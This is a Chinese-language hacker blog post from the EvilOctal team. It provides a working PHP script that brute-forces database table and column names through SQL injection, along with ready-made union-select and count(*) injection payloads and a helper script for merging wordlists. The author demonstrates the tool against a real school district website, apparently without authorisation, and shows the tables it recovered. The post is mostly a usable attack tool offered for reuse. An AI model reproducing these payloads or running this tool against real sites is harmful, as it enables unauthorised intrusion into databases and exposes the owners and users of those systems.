do all things in php(注入利用程序编写)
文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
<?php
echo "\tUniversal Database tables explode exploit V0.1\n\n";
echo "\t\tWritten by Mika[EST]\n\n";
//$keyword="Warning";
$keyword="error";
switch($argc){
case 3:
$u=" and (select count(*) from MIKA_NAME)>0";
$dic=$argv[2];
break;
case 4:
$u=" and 1=1 union select ".implode(',',range(1,$argv[2]))." from MIKA_NAME#";
$dic=$argv[3];
break;
case 5:
if($argv[2]!="-t")
exit("arguments Error");
$u=" and (select count(MIKA_NAME) from $argv[3])>0#";
$dic=$argv[4];
break;
case 6:
if($argv[2]!="-t" || $argv[4]<1)
exit("arguments Error");
if($argv[4]>=2){
$u=" and 1=1 union select ".'MIKA_NAME'.','.implode(',',range(2,$argv[4]))." from $argv[3]#";
}else{
$u=" and 1=1 union select MIKA_NAME from $argv[3]#";
}
$dic=$argv[5];
break;
default:
echo <<<USAGE
Usage:$argv[0] <URL> [OPTIONS] <dict file>
OPTIONS: number --->to indicate column number of a table during a union query
e.g:$argv[0] http://www.aaa.com/bbb.asp?ccc=56 3 mydict.txt
the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin
OPTIONS: -t <table> [number] ---> to explode column name of the <table>
e.g:$argv[0] http://www.aaa.com/bbb.asp?ccc=56 -t admin mydict.txt
Attention:if you don't use [options] the program will use default mode to work.you can change it in the source code of this program.
USAGE;
die;
}
$old=$argv[1];
file_exists($dic) or exit("dic file does not exist!\n");
$words=file($dic);
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
print "[+]Searching What you want...\n";
foreach($words as $word){
//print $word;
if(preg_match("/^\s$/",$word)){
//print "blank";
continue;
}
$url=str_replace('MIKA_NAME',trim($word),$u);
$url=$old.urlencode($url);
//$url=$old.$url;
curl_setopt($curl,CURLOPT_URL,$url);
//print "source url is:".$url."\n";
$content=curl_exec($curl);
//$new=$content;
//print $content;
if(preg_match("/$keyword/i",$content)==0){
print "
}
else{print ".";}
}
?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:\php里,那么你需要把它设置成:
extension_dir = "c:\php\ext"
然后再继续找到下面这段:
; Windows Extensions
; Note that ODBC support is built in, so no dll is needed for it.
; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
; extension folders as well as the separate PECL DLL download (PHP 5).
; Be sure to appropriately set the extension_dir directive.
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
看到php_curl.dll了吗?把它前面的分号去掉就可以了。然后保存一下,还没完呢,再去php的目录里找到这两个文件:
libeay32.dll
ssleay32.dll
把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)
言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt
需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)
其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:
http://www.elkhart.k12.in.us/content.php?id=157
由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:
F:\scripts\php\mine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
=157 5 mydict.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
...
看到了吗?找到了一个表,呵呵。再来看看字段:
F:\scripts\php\mine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
=157 -t structure 5 temp.txt
Universal Database tables explode exploit V0.1
Written by Mika[EST]
[+]Searching What you want...
..
很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。
如果大家用得过程中出现问题可以自己去改代码,很简单的:-)
另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
换成你的代理就好了,如果不需要代理那就直接注释掉好了。
其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:
<?php
if($argc!=2){
echo <<<INFO
\t\t Written By Mika[EST]\n
\t\tUsage: $argv[0] <text file>\n
INFO;
die;
}
file_exists($argv[1]) or exit("$argv[1] dose not exists!");
$txt_file=file($argv[1]);
$uniq_file=array_unique($txt_file);
$file=fopen($argv[1],"w");
fwrite($file,implode("",$uniq_file));
fclose($file);
echo "unique done!";
?>
用法非常简单,首先合并字典,比如,1.txt,2.txt,用copy命令即可:
F:\scripts\php\mine>copy 1.txt+2.txt 3.txt
1.txt
2.txt
已复制 1 个文件。
F:\scripts\php\mine>dir 3.txt
驱动器 F 中的卷是 LIB
卷的序列号是 CC4F-A32B
F:\scripts\php\mine 的目录
2007-07-13 18:50 1,474 3.txt
1 个文件 1,474 字节
0 个目录 2,166,566,912 可用字节
然后用我的这个程序处理一下:
F:\scripts\php\mine>php uniq.php 3.txt
unique done!
F:\scripts\php\mine>dir 3.txt
驱动器 F 中的卷是 LIB
卷的序列号是 CC4F-A32B
F:\scripts\php\mine 的目录
2007-07-13 18:52 1,288 3.txt
1 个文件 1,288 字节
0 个目录 2,166,566,912 可用字节
注意看文件的大小哦,嘿嘿~~~简单吧?;-)
好了,累死我了~~~到这吧,先到这里吧~~~休息~~休息~~~
我是女生,嘿嘿,快乐的女生~~~~~~